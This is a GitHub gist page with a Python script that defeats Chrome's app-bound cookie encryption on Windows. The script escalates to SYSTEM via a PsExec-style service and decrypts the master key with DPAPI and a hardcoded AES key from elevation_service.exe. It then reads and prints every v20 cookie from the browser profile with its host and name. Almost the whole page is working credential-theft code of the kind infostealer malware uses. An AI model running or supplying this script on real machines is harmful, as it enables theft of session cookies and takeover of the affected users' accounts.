Created
October 23, 2024 18:44
-
-
Save thewh1teagle/d0bbc6bc678812e39cba74e1d407e5c7 to your computer and use it in GitHub Desktop.
Decrypt chrome v20 cookies with appbound protection
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Decrypt chrome v20 cookies with app bound protection | |
Tested in 2024-10-23 with Chrome version 130.0.6723.70 on Windows 11 23H2 | |
pip install pywin32 pycryptodome pypsexec | |
python main.py | |
""" | |
import os | |
import json | |
import sys | |
import binascii | |
from pypsexec.client import Client | |
from Crypto.Cipher import AES | |
import sqlite3 | |
import pathlib | |
user_profile = os.environ['USERPROFILE'] | |
local_state_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State" | |
cookie_db_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" | |
with open(local_state_path, "r") as f: | |
local_state = json.load(f) | |
app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"] | |
arguments = "-c \"" + """import win32crypt | |
import binascii | |
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0) | |
print(binascii.b2a_base64(encrypted_key[1]).decode()) | |
""".replace("\n", ";") + "\"" | |
c = Client("localhost") | |
c.connect() | |
try: | |
c.create_service() | |
assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB") | |
app_bound_encrypted_key_b64 = binascii.b2a_base64( | |
binascii.a2b_base64(app_bound_encrypted_key)[4:]).decode().strip() | |
# decrypt with SYSTEM DPAPI | |
encrypted_key_b64, stderr, rc = c.run_executable( | |
sys.executable, | |
arguments=arguments.format(app_bound_encrypted_key_b64), | |
use_system_account=True | |
) | |
# decrypt with user DPAPI | |
decrypted_key_b64, stderr, rc = c.run_executable( | |
sys.executable, | |
arguments=arguments.format(encrypted_key_b64.decode().strip()), | |
use_system_account=False | |
) | |
decrypted_key = binascii.a2b_base64(decrypted_key_b64)[-61:] | |
assert(decrypted_key[0] == 1) | |
finally: | |
c.remove_service() | |
c.disconnect() | |
# decrypt key with AES256GCM | |
# aes key from elevation_service.exe | |
aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=") | |
# [flag|iv|ciphertext|tag] decrypted_key | |
# [1byte|12bytes|variable|16bytes] | |
iv = decrypted_key[1:1+12] | |
ciphertext = decrypted_key[1+12:1+12+32] | |
tag = decrypted_key[1+12+32:] | |
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv) | |
key = cipher.decrypt_and_verify(ciphertext, tag) | |
print(binascii.b2a_base64(key)) | |
# fetch all v20 cookies | |
con = sqlite3.connect(pathlib.Path(cookie_db_path).as_uri() + "?mode=ro", uri=True) | |
cur = con.cursor() | |
r = cur.execute("SELECT host_key, name, CAST(encrypted_value AS BLOB) from cookies;") | |
cookies = cur.fetchall() | |
cookies_v20 = [c for c in cookies if c[2][:3] == b"v20"] | |
con.close() | |
# decrypt v20 cookie with AES256GCM | |
# [flag|iv|ciphertext|tag] encrypted_value | |
# [3bytes|12bytes|variable|16bytes] | |
def decrypt_cookie_v20(encrypted_value): | |
cookie_iv = encrypted_value[3:3+12] | |
encrypted_cookie = encrypted_value[3+12:-16] | |
cookie_tag = encrypted_value[-16:] | |
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv) | |
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag) | |
return decrypted_cookie[32:].decode('utf-8') | |
for c in cookies_v20: | |
print(f"") | |
print(c[0], c[1], decrypt_cookie_v20(c[2])) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment